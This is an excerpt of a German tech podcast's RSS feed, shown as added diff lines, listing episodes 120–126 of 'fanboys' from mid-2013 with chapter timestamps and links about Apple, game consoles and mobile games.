+ <sc:chapter start="01:01:29" title="Rausschmeisser" href="http://www.siliconvalleyhistorical.org/#!steve-jobs-film/c1x1c" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23126&amp;user_id=map&amp;title=Fanboys%20Episode%20126&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#126:" />
+ </item>
+ <item>
+ <title>Episode #125 - Nichts passiert und wir reden drüber.</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Nichts passiert und wir reden drüber.</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN125.mp3" length="21366535" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN125</guid>
+ <pubDate>Thu, 27 Jun 2013 16:22:54 +0200</pubDate>
+ <itunes:duration>00:44:22</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:04:07 Ouya ist jetzt im Verkauf
+00:13:33 Gratis 3D Game Engine von Havok
+00:17:23 Poppy
+00:25:10 No Shield for you (for now)
+00:28:17 No Plants vs. Zombies 2 for you (for now)
+00:29:45 Telekom Drosselpläne, Drölfter Teil
+00:31:52 Moves
+00:34:37 Second Chance
+00:37:10 Ice Breaker
+00:39:34 Limbo für iOS angekündigt
+00:40:17 Polymer
+00:43:02 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:04:07</td><td><a href="http://www.ouya.tv" target="_blank">Ouya ist jetzt im Verkauf</td></tr><tr><td>00:13:33</td><td><a href="http://www.projectanarchy.com/about" target="_blank">Gratis 3D Game Engine von Havok</td></tr><tr><td>00:17:23</td><td><a href="http://www.kickstarter.com/projects/935366406/poppy-turn-your-iphone-into-a-3d-camera-0" target="_blank">Poppy</td></tr><tr><td>00:25:10</td><td><a href="http://www.heise.de/newsticker/meldung/Debakel-Nvidia-laesst-Marktstart-der-Spielkonsole-Shield-platzen-1897748.html" target="_blank">No Shield for you (for now)</td></tr><tr><td>00:28:17</td><td><a href="http://www.gamespot.com/news/plants-vs-zombies-2-delayed-6410762" target="_blank">No Plants vs. Zombies 2 for you (for now)</td></tr><tr><td>00:29:45</td><td><a href="http://www.heise.de/newsticker/meldung/Bericht-Telekom-will-DSL-Drossel-auf-2-Mbit-s-lockern-1886747.html" target="_blank">Telekom Drosselpläne, Drölfter Teil</td></tr><tr><td>00:31:52</td><td><a href="https://itunes.apple.com/de/app/moves/id509204969?l=en&amp;mt=8" target="_blank">Moves</td></tr><tr><td>00:34:37</td><td><a href="http://www.newgrounds.com/portal/view/620334" target="_blank">Second Chance</td></tr><tr><td>00:37:10</td><td><a href="https://itunes.apple.com/de/app/icebreaker-a-viking-voyage/id656163700?l=en&amp;mt=8" target="_blank">Ice Breaker</td></tr><tr><td>00:39:34</td><td><a href="http://www.cultofmac.com/233480/moody-puzzler-platform-game-limbo-is-coming-to-ios-july-3/" target="_blank">Limbo für iOS angekündigt</td></tr><tr><td>00:40:17</td><td><a href="https://itunes.apple.com/de/app/polymer/id499490016?mt=8" target="_blank">Polymer</td></tr><tr><td>00:43:02</td><td><a href="http://www.youtube.com/watch?v=DFWHe_Om6Q4" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:04:07" title="Ouya ist jetzt im Verkauf" href="http://www.ouya.tv" />
+ <sc:chapter start="00:13:33" title="Gratis 3D Game Engine von Havok" href="http://www.projectanarchy.com/about" />
+ <sc:chapter start="00:17:23" title="Poppy" href="http://www.kickstarter.com/projects/935366406/poppy-turn-your-iphone-into-a-3d-camera-0" />
+ <sc:chapter start="00:25:10" title="No Shield for you (for now)" href="http://www.heise.de/newsticker/meldung/Debakel-Nvidia-laesst-Marktstart-der-Spielkonsole-Shield-platzen-1897748.html" />
+ <sc:chapter start="00:28:17" title="No Plants vs. Zombies 2 for you (for now)" href="http://www.gamespot.com/news/plants-vs-zombies-2-delayed-6410762" />
+ <sc:chapter start="00:29:45" title="Telekom Drosselpläne, Drölfter Teil" href="http://www.heise.de/newsticker/meldung/Bericht-Telekom-will-DSL-Drossel-auf-2-Mbit-s-lockern-1886747.html" />
+ <sc:chapter start="00:31:52" title="Moves" href="https://itunes.apple.com/de/app/moves/id509204969?l=en&amp;mt=8" />
+ <sc:chapter start="00:34:37" title="Second Chance" href="http://www.newgrounds.com/portal/view/620334" />
+ <sc:chapter start="00:37:10" title="Ice Breaker" href="https://itunes.apple.com/de/app/icebreaker-a-viking-voyage/id656163700?l=en&amp;mt=8" />
+ <sc:chapter start="00:39:34" title="Limbo für iOS angekündigt" href="http://www.cultofmac.com/233480/moody-puzzler-platform-game-limbo-is-coming-to-ios-july-3/" />
+ <sc:chapter start="00:40:17" title="Polymer" href="https://itunes.apple.com/de/app/polymer/id499490016?mt=8" />
+ <sc:chapter start="00:43:02" title="Rausschmeisser" href="http://www.youtube.com/watch?v=DFWHe_Om6Q4" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23125&amp;user_id=map&amp;title=Fanboys%20Episode%20125&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#125:" />
+ </item>
+ <item>
+ <title>Episode #124 - Alt wie Alternativ</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Alt wie Alternativ</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN124.mp3" length="27268746" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN124</guid>
+ <pubDate>Thu, 20 Jun 2013 16:17:38 +0200</pubDate>
+ <itunes:duration>00:56:40</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:07 Tipp Nachtrag: Space für schnelles Draggen
+00:08:00 WWDC Nachlese
+00:30:35 Microsoft und die gebrauchten Spiele
+00:35:02 Sony verbockt PS3 update
+00:38:00 Airport Extreme
+00:44:04 The Cave coming to iOS
+00:45:08 Zoomable Map
+00:46:50 Twitterific für iOS
+00:48:26 XCOM Enemy Unknown
+00:50:03 Ending
+00:51:59 TOMB
+00:53:11 Stickets
+00:55:33 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:07</td><td>Tipp Nachtrag: Space für schnelles Draggen</td></tr><tr><td>00:08:00</td><td>WWDC Nachlese</td></tr><tr><td>00:30:35</td><td><a href="http://news.xbox.com/2013/06/update" target="_blank">Microsoft und die gebrauchten Spiele</td></tr><tr><td>00:35:02</td><td><a href="http://www.heise.de/newsticker/meldung/Sony-zieht-PS3-Firmware-nach-Nutzerbeschwerden-zurueck-1892504.html" target="_blank">Sony verbockt PS3 update</td></tr><tr><td>00:38:00</td><td><a href="http://www.apple.com/airport-extreme/" target="_blank">Airport Extreme</td></tr><tr><td>00:44:04</td><td>The Cave coming to iOS</td></tr><tr><td>00:45:08</td><td><a href="http://www.kickstarter.com/projects/423153152/map2-the-zoomable-map-on-paper?ref=home_location" target="_blank">Zoomable Map</td></tr><tr><td>00:46:50</td><td><a href="http://twitterrific.com/ios" target="_blank">Twitterific für iOS</td></tr><tr><td>00:48:26</td><td><a href="https://itunes.apple.com/us/app/xcom-enemy-unknown/id639544885?mt=8" target="_blank">XCOM Enemy Unknown</td></tr><tr><td>00:50:03</td><td><a href="https://itunes.apple.com/us/app/ending/id647697139?mt=8" target="_blank">Ending</td></tr><tr><td>00:51:59</td><td><a href="https://dl.dropboxusercontent.com/u/6822849/KnightyGames/tomb.htm" target="_blank">TOMB</td></tr><tr><td>00:53:11</td><td><a href="https://itunes.apple.com/gb/app/stickets/id568750015?mt=8" target="_blank">Stickets</td></tr><tr><td>00:55:33</td><td><a href="http://www.youtube.com/watch?v=O7D-1RG-VRk" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:07" title="Tipp Nachtrag: Space für schnelles Draggen" />
+ <sc:chapter start="00:08:00" title="WWDC Nachlese" />
+ <sc:chapter start="00:30:35" title="Microsoft und die gebrauchten Spiele" href="http://news.xbox.com/2013/06/update" />
+ <sc:chapter start="00:35:02" title="Sony verbockt PS3 update" href="http://www.heise.de/newsticker/meldung/Sony-zieht-PS3-Firmware-nach-Nutzerbeschwerden-zurueck-1892504.html" />
+ <sc:chapter start="00:38:00" title="Airport Extreme" href="http://www.apple.com/airport-extreme/" />
+ <sc:chapter start="00:44:04" title="The Cave coming to iOS" />
+ <sc:chapter start="00:45:08" title="Zoomable Map" href="http://www.kickstarter.com/projects/423153152/map2-the-zoomable-map-on-paper?ref=home_location" />
+ <sc:chapter start="00:46:50" title="Twitterific für iOS" href="http://twitterrific.com/ios" />
+ <sc:chapter start="00:48:26" title="XCOM Enemy Unknown" href="https://itunes.apple.com/us/app/xcom-enemy-unknown/id639544885?mt=8" />
+ <sc:chapter start="00:50:03" title="Ending" href="https://itunes.apple.com/us/app/ending/id647697139?mt=8" />
+ <sc:chapter start="00:51:59" title="TOMB" href="https://dl.dropboxusercontent.com/u/6822849/KnightyGames/tomb.htm" />
+ <sc:chapter start="00:53:11" title="Stickets" href="https://itunes.apple.com/gb/app/stickets/id568750015?mt=8" />
+ <sc:chapter start="00:55:33" title="Rausschmeisser" href="http://www.youtube.com/watch?v=O7D-1RG-VRk" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23124&amp;user_id=map&amp;title=Fanboys%20Episode%20124&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#124:" />
+ </item>
+ <item>
+ <title>Episode #123 - Neon Blur</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Neon Blur</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN123.mp3" length="38000266" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN123</guid>
+ <pubDate>Tue, 11 Jun 2013 19:48:35 +0200</pubDate>
+ <itunes:duration>01:19:01</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:34 Apple Keynote
+00:01:59 Aussenreport
+00:18:38 Lustig: Greg Federighi
+00:20:03 OS X Mavericks
+00:23:20 Tabbed Finder
+00:24:14 Mutliple Displays
+00:25:45 Compressed Memory
+00:27:08 Safari
+00:29:01 Keychain in the cloud
+00:30:24 Calendar
+00:33:23 Maps
+00:35:16 iBooks
+00:37:14 Neue MacBook Airs (ab sofort)
+00:38:41 Mac Pro
+00:42:11 iCloud
+00:42:23 iWorks im Webbrowser
+00:43:31 iOS 7
+00:44:12 Interface
+00:55:33 Safari
+00:56:17 Control Center
+00:57:05 Multitasking
+00:58:59 Airdrop
+00:59:25 Siri
+01:00:11 App Store
+01:01:37 iTunes Radio
+01:03:15 FaceTime audio
+01:04:34 Notification sync
+01:05:00 3rd party game controller
+01:07:29 Sprite Kit
+01:09:18 PS4
+01:12:05 Prism
+01:15:31 Tentacle Wars
+01:18:29 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:34</td><td>Apple Keynote</td></tr><tr><td>00:01:59</td><td>Aussenreport</td></tr><tr><td>00:18:38</td><td>Lustig: Greg Federighi</td></tr><tr><td>00:20:03</td><td><a href="http://www.apple.com/osx/preview/" target="_blank">OS X Mavericks</td></tr><tr><td>00:23:20</td><td>Tabbed Finder</td></tr><tr><td>00:24:14</td><td>Mutliple Displays</td></tr><tr><td>00:25:45</td><td>Compressed Memory</td></tr><tr><td>00:27:08</td><td>Safari</td></tr><tr><td>00:29:01</td><td>Keychain in the cloud</td></tr><tr><td>00:30:24</td><td>Calendar</td></tr><tr><td>00:33:23</td><td>Maps</td></tr><tr><td>00:35:16</td><td>iBooks</td></tr><tr><td>00:37:14</td><td>Neue MacBook Airs (ab sofort)</td></tr><tr><td>00:38:41</td><td><a href="http://www.apple.com/mac-pro/" target="_blank">Mac Pro</td></tr><tr><td>00:42:11</td><td>iCloud</td></tr><tr><td>00:42:23</td><td>iWorks im Webbrowser</td></tr><tr><td>00:43:31</td><td><a href="http://www.apple.com/ios/ios7/" target="_blank">iOS 7</td></tr><tr><td>00:44:12</td><td>Interface</td></tr><tr><td>00:55:33</td><td>Safari</td></tr><tr><td>00:56:17</td><td>Control Center</td></tr><tr><td>00:57:05</td><td>Multitasking</td></tr><tr><td>00:58:59</td><td>Airdrop</td></tr><tr><td>00:59:25</td><td>Siri</td></tr><tr><td>01:00:11</td><td>App Store</td></tr><tr><td>01:01:37</td><td><a href="http://www.apple.com/itunes/itunes-radio/" target="_blank">iTunes Radio</td></tr><tr><td>01:03:15</td><td>FaceTime audio</td></tr><tr><td>01:04:34</td><td>Notification sync</td></tr><tr><td>01:05:00</td><td>3rd party game controller</td></tr><tr><td>01:07:29</td><td><a href="http://www.youtube.com/watch?v=kE5oWcsLkX8" target="_blank">Sprite Kit</td></tr><tr><td>01:09:18</td><td><a href="http://www.pcmag.com/article2/0,2817,2420226,00.asp" target="_blank">PS4</td></tr><tr><td>01:12:05</td><td>Prism</td></tr><tr><td>01:15:31</td><td><a href="https://itunes.apple.com/us/app/tentacle-wars/id537969013?mt=8" target="_blank">Tentacle Wars</td></tr><tr><td>01:18:29</td><td>Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:34" title="Apple Keynote" />
+ <sc:chapter start="00:01:59" title="Aussenreport" />
+ <sc:chapter start="00:18:38" title="Lustig: Greg Federighi" />
+ <sc:chapter start="00:20:03" title="OS X Mavericks" href="http://www.apple.com/osx/preview/" />
+ <sc:chapter start="00:23:20" title="Tabbed Finder" />
+ <sc:chapter start="00:24:14" title="Mutliple Displays" />
+ <sc:chapter start="00:25:45" title="Compressed Memory" />
+ <sc:chapter start="00:27:08" title="Safari" />
+ <sc:chapter start="00:29:01" title="Keychain in the cloud" />
+ <sc:chapter start="00:30:24" title="Calendar" />
+ <sc:chapter start="00:33:23" title="Maps" />
+ <sc:chapter start="00:35:16" title="iBooks" />
+ <sc:chapter start="00:37:14" title="Neue MacBook Airs (ab sofort)" />
+ <sc:chapter start="00:38:41" title="Mac Pro" href="http://www.apple.com/mac-pro/" />
+ <sc:chapter start="00:42:11" title="iCloud" />
+ <sc:chapter start="00:42:23" title="iWorks im Webbrowser" />
+ <sc:chapter start="00:43:31" title="iOS 7" href="http://www.apple.com/ios/ios7/" />
+ <sc:chapter start="00:44:12" title="Interface" />
+ <sc:chapter start="00:55:33" title="Safari" />
+ <sc:chapter start="00:56:17" title="Control Center" />
+ <sc:chapter start="00:57:05" title="Multitasking" />
+ <sc:chapter start="00:58:59" title="Airdrop" />
+ <sc:chapter start="00:59:25" title="Siri" />
+ <sc:chapter start="01:00:11" title="App Store" />
+ <sc:chapter start="01:01:37" title="iTunes Radio" href="http://www.apple.com/itunes/itunes-radio/" />
+ <sc:chapter start="01:03:15" title="FaceTime audio" />
+ <sc:chapter start="01:04:34" title="Notification sync" />
+ <sc:chapter start="01:05:00" title="3rd party game controller" />
+ <sc:chapter start="01:07:29" title="Sprite Kit" href="http://www.youtube.com/watch?v=kE5oWcsLkX8" />
+ <sc:chapter start="01:09:18" title="PS4" href="http://www.pcmag.com/article2/0,2817,2420226,00.asp" />
+ <sc:chapter start="01:12:05" title="Prism" />
+ <sc:chapter start="01:15:31" title="Tentacle Wars" href="https://itunes.apple.com/us/app/tentacle-wars/id537969013?mt=8" />
+ <sc:chapter start="01:18:29" title="Rausschmeisser" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23123&amp;user_id=map&amp;title=Fanboys%20Episode%20123&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#123:" />
+ </item>
+ <item>
+ <title>Episode #122 - Werwolfraumfahrtprogramm</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Werwolfraumfahrtprogramm</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN122.mp3" length="36945755" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN122</guid>
+ <pubDate>Thu, 06 Jun 2013 16:55:34 +0200</pubDate>
+ <itunes:duration>01:16:50</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:00 PDF wird 20
+00:04:57 iPod 4G no more.
+00:11:11 Apple goes Pegatron
+00:12:33 Marco Arment verkauft The Magazine
+00:14:43 Die Telekom und die Flats
+00:20:43 10.8.4 ist draussen
+00:24:30 WWDC Gerüchteküche
+00:40:21 Another Double Fine Kickstarter
+00:43:35 Gilberts Scurvy Scallywags
+00:46:12 olloclip App
+00:47:30 Fever + Sunstroke
+00:52:03 Moon Waltz
+00:53:54 Adobe Kuler
+00:56:25 Hangouts
+00:58:20 Dots
+01:00:10 KOTOR
+01:02:14 Warhammer Quest
+01:06:45 Edge
+01:08:03 Phoenix Wright: Ace Attorney Trilogy HD
+01:13:01 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:00</td><td><a href="http://www.heise.de/newsticker/meldung/PDF-wird-20-Jahre-alt-1883567.html" target="_blank">PDF wird 20</td></tr><tr><td>00:04:57</td><td><a href="http://www.iphoneblog.de/2013/05/30/kein-ipod-touch-mehr-ohne-4-zoll-retina-display/" target="_blank">iPod 4G no more.</td></tr><tr><td>00:11:11</td><td><a href="http://online.wsj.com/article/SB10001424127887323855804578511122734340726.html" target="_blank">Apple goes Pegatron</td></tr><tr><td>00:12:33</td><td><a href="https://the-magazine.org/under-old-management" target="_blank">Marco Arment verkauft The Magazine</td></tr><tr><td>00:14:43</td><td>Die Telekom und die Flats</td></tr><tr><td>00:20:43</td><td><a href="http://support.apple.com/kb/HT5730" target="_blank">10.8.4 ist draussen</td></tr><tr><td>00:24:30</td><td><a href="http://www.macrumors.com/2013/06/05/wwdc-2013-rumor-roundup-ios-7-os-x-10-9-iradio-and-new-macs/" target="_blank">WWDC Gerüchteküche</td></tr><tr><td>00:40:21</td><td><a href="http://www.massivechalice.com" target="_blank">Another Double Fine Kickstarter</td></tr><tr><td>00:43:35</td><td><a href="https://itunes.apple.com/de/app/id593299847?mt=8" target="_blank">Gilberts Scurvy Scallywags</td></tr><tr><td>00:46:12</td><td><a href="https://itunes.apple.com/de/app/olloclip/id646081887?l=en&amp;mt=8" target="_blank">olloclip App</td></tr><tr><td>00:47:30</td><td><a href="https://goneeast.com/sunstroke/" target="_blank">Fever + Sunstroke</td></tr><tr><td>00:52:03</td><td><a href="http://www.newgrounds.com/portal/view/618794" target="_blank">Moon Waltz</td></tr><tr><td>00:53:54</td><td><a href="https://itunes.apple.com/de/app/adobe-kuler/id632313714?l=en&amp;mt=8" target="_blank">Adobe Kuler</td></tr><tr><td>00:56:25</td><td><a href="https://itunes.apple.com/us/app/hangouts/id643496868?mt=8" target="_blank">Hangouts</td></tr><tr><td>00:58:20</td><td><a href="https://itunes.apple.com/us/app/dots-a-game-about-connecting/id632285588?mt=8" target="_blank">Dots</td></tr><tr><td>01:00:10</td><td><a href="https://itunes.apple.com/us/app/star-wars-knights-old-republic/id611436052?mt=8" target="_blank">KOTOR</td></tr><tr><td>01:02:14</td><td><a href="http://rodeogames.co.uk/warhammer-quest/" target="_blank">Warhammer Quest</td></tr><tr><td>01:06:45</td><td><a href="https://itunes.apple.com/en/app/edge/id300896018?mt=8" target="_blank">Edge</td></tr><tr><td>01:08:03</td><td><a href="https://itunes.apple.com/us/app/ace-attorney-phoenix-wright/id365681816?mt=8" target="_blank">Phoenix Wright: Ace Attorney Trilogy HD</td></tr><tr><td>01:13:01</td><td><a href="http://www.youtube.com/watch?v=Xw1C5T-fH2Y" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:00" title="PDF wird 20" href="http://www.heise.de/newsticker/meldung/PDF-wird-20-Jahre-alt-1883567.html" />
+ <sc:chapter start="00:04:57" title="iPod 4G no more." href="http://www.iphoneblog.de/2013/05/30/kein-ipod-touch-mehr-ohne-4-zoll-retina-display/" />
+ <sc:chapter start="00:11:11" title="Apple goes Pegatron" href="http://online.wsj.com/article/SB10001424127887323855804578511122734340726.html" />
+ <sc:chapter start="00:12:33" title="Marco Arment verkauft The Magazine" href="https://the-magazine.org/under-old-management" />
+ <sc:chapter start="00:14:43" title="Die Telekom und die Flats" />
+ <sc:chapter start="00:20:43" title="10.8.4 ist draussen" href="http://support.apple.com/kb/HT5730" />
+ <sc:chapter start="00:24:30" title="WWDC Gerüchteküche" href="http://www.macrumors.com/2013/06/05/wwdc-2013-rumor-roundup-ios-7-os-x-10-9-iradio-and-new-macs/" />
+ <sc:chapter start="00:40:21" title="Another Double Fine Kickstarter" href="http://www.massivechalice.com" />
+ <sc:chapter start="00:43:35" title="Gilberts Scurvy Scallywags" href="https://itunes.apple.com/de/app/id593299847?mt=8" />
+ <sc:chapter start="00:46:12" title="olloclip App" href="https://itunes.apple.com/de/app/olloclip/id646081887?l=en&amp;mt=8" />
+ <sc:chapter start="00:47:30" title="Fever + Sunstroke" href="https://goneeast.com/sunstroke/" />
+ <sc:chapter start="00:52:03" title="Moon Waltz" href="http://www.newgrounds.com/portal/view/618794" />
+ <sc:chapter start="00:53:54" title="Adobe Kuler" href="https://itunes.apple.com/de/app/adobe-kuler/id632313714?l=en&amp;mt=8" />
+ <sc:chapter start="00:56:25" title="Hangouts" href="https://itunes.apple.com/us/app/hangouts/id643496868?mt=8" />
+ <sc:chapter start="00:58:20" title="Dots" href="https://itunes.apple.com/us/app/dots-a-game-about-connecting/id632285588?mt=8" />
+ <sc:chapter start="01:00:10" title="KOTOR" href="https://itunes.apple.com/us/app/star-wars-knights-old-republic/id611436052?mt=8" />
+ <sc:chapter start="01:02:14" title="Warhammer Quest" href="http://rodeogames.co.uk/warhammer-quest/" />
+ <sc:chapter start="01:06:45" title="Edge" href="https://itunes.apple.com/en/app/edge/id300896018?mt=8" />
+ <sc:chapter start="01:08:03" title="Phoenix Wright: Ace Attorney Trilogy HD" href="https://itunes.apple.com/us/app/ace-attorney-phoenix-wright/id365681816?mt=8" />
+ <sc:chapter start="01:13:01" title="Rausschmeisser" href="http://www.youtube.com/watch?v=Xw1C5T-fH2Y" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23122&amp;user_id=map&amp;title=Fanboys%20Episode%20122&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#122:" />
+ </item>
+ <item>
+ <title>Episode #121 - Profitieren sie!</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Profitieren sie!</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN121.mp3" length="35424384" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN121</guid>
+ <pubDate>Wed, 29 May 2013 18:40:10 +0200</pubDate>
+ <itunes:duration>01:13:39</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:04:47 Curiosity
+00:12:02 Google I/O Keynote
+00:26:11 Tim Cook bei All Things Digital
+00:34:23 Ouya
+00:43:37 Penny Auktionen
+00:52:33 Zelda Konzert
+00:56:25 Alcatraz - Xcode plugin manager
+00:59:22 Life goes on (alpha)
+01:05:03 Humble Bundle
+01:07:58 Poker Night 2
+01:10:18 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:04:47</td><td>Curiosity</td></tr><tr><td>00:12:02</td><td><a href="http://www.youtube.com/watch?v=9pmPa_KxsAM" target="_blank">Google I/O Keynote</td></tr><tr><td>00:26:11</td><td><a href="http://allthingsd.com/20130529/apples-tim-cook-the-full-d11-interview-video/?mod=atd_homepage_carousel" target="_blank">Tim Cook bei All Things Digital</td></tr><tr><td>00:34:23</td><td><a href="http://ouya.tv" target="_blank">Ouya</td></tr><tr><td>00:43:37</td><td>Penny Auktionen</td></tr><tr><td>00:52:33</td><td><a href="http://zelda-symphony.com" target="_blank">Zelda Konzert</td></tr><tr><td>00:56:25</td><td><a href="http://mneorr.github.io/Alcatraz/" target="_blank">Alcatraz - Xcode plugin manager</td></tr><tr><td>00:59:22</td><td><a href="http://www.reddit.com/r/gamedev/comments/1eyl1l/feedback_friday_30/ca510yx" target="_blank">Life goes on (alpha)</td></tr><tr><td>01:05:03</td><td><a href="https://www.humblebundle.com" target="_blank">Humble Bundle</td></tr><tr><td>01:07:58</td><td><a href="http://www.telltalegames.com/pokernight2" target="_blank">Poker Night 2</td></tr><tr><td>01:10:18</td><td><a href="http://www.youtube.com/watch?v=PKffm2uI4dk" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:04:47" title="Curiosity" />
+ <sc:chapter start="00:12:02" title="Google I/O Keynote" href="http://www.youtube.com/watch?v=9pmPa_KxsAM" />
+ <sc:chapter start="00:26:11" title="Tim Cook bei All Things Digital" href="http://allthingsd.com/20130529/apples-tim-cook-the-full-d11-interview-video/?mod=atd_homepage_carousel" />
+ <sc:chapter start="00:34:23" title="Ouya" href="http://ouya.tv" />
+ <sc:chapter start="00:43:37" title="Penny Auktionen" />
+ <sc:chapter start="00:52:33" title="Zelda Konzert" href="http://zelda-symphony.com" />
+ <sc:chapter start="00:56:25" title="Alcatraz - Xcode plugin manager" href="http://mneorr.github.io/Alcatraz/" />
+ <sc:chapter start="00:59:22" title="Life goes on (alpha)" href="http://www.reddit.com/r/gamedev/comments/1eyl1l/feedback_friday_30/ca510yx" />
+ <sc:chapter start="01:05:03" title="Humble Bundle" href="https://www.humblebundle.com" />
+ <sc:chapter start="01:07:58" title="Poker Night 2" href="http://www.telltalegames.com/pokernight2" />
+ <sc:chapter start="01:10:18" title="Rausschmeisser" href="http://www.youtube.com/watch?v=PKffm2uI4dk" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23121&amp;user_id=map&amp;title=Fanboys%20Episode%20121&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#121:" />
+ </item>
+ <item>
+ <title>Episode #120 - Xbox, go home!</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Xbox, go home!</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN120.mp3" length="29126992" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN120</guid>
+ <pubDate>Thu, 23 May 2013 17:51:07 +0200</pubDate>
+ <itunes:duration>01:00:32</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:22 Yahoo kauft Tumblr
+00:04:50 flickr Redesign
+00:07:23 Xbox ONE
+00:31:53 Unity jetzt auch gratis für Mobiles
+00:35:05 Ghost Blogging Platform
+00:38:17 Apple und die Steuern
+00:40:45 Amazon und Fanfiction
+00:44:11 MBA und Multiscreen
+00:47:15 bash skript zeitbasiert ausführen
+00:49:19 New Star Soccer
+00:51:42 Alan Zucconi: Still Time
+00:55:59 You must escape
+00:58:54 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:22</td><td><a href="http://www.marco.org/2013/05/20/one-person-product" target="_blank">Yahoo kauft Tumblr</td></tr><tr><td>00:04:50</td><td><a href="http://www.flickr.com" target="_blank">flickr Redesign</td></tr><tr><td>00:07:23</td><td><a href="http://www.wired.com/gadgetlab/2013/05/xbox-one/" target="_blank">Xbox ONE</td></tr><tr><td>00:31:53</td><td><a href="http://www.iphoneblog.de/2013/05/21/game-engine-unity-fur-ios-und-android-kostenlos/" target="_blank">Unity jetzt auch gratis für Mobiles</td></tr><tr><td>00:35:05</td><td><a href="http://tryghost.org" target="_blank">Ghost Blogging Platform</td></tr><tr><td>00:38:17</td><td><a href="http://appleinsider.com/articles/13/05/22/like-apple-google-yahoo-also-avoid-taxes-by-way-of-ireland" target="_blank">Apple und die Steuern</td></tr><tr><td>00:40:45</td><td><a href="http://phx.corporate-ir.net/phoenix.zhtml?c=176060&amp;p=irol-newsArticle&amp;ID=1823219" target="_blank">Amazon und Fanfiction</td></tr><tr><td>00:44:11</td><td><a 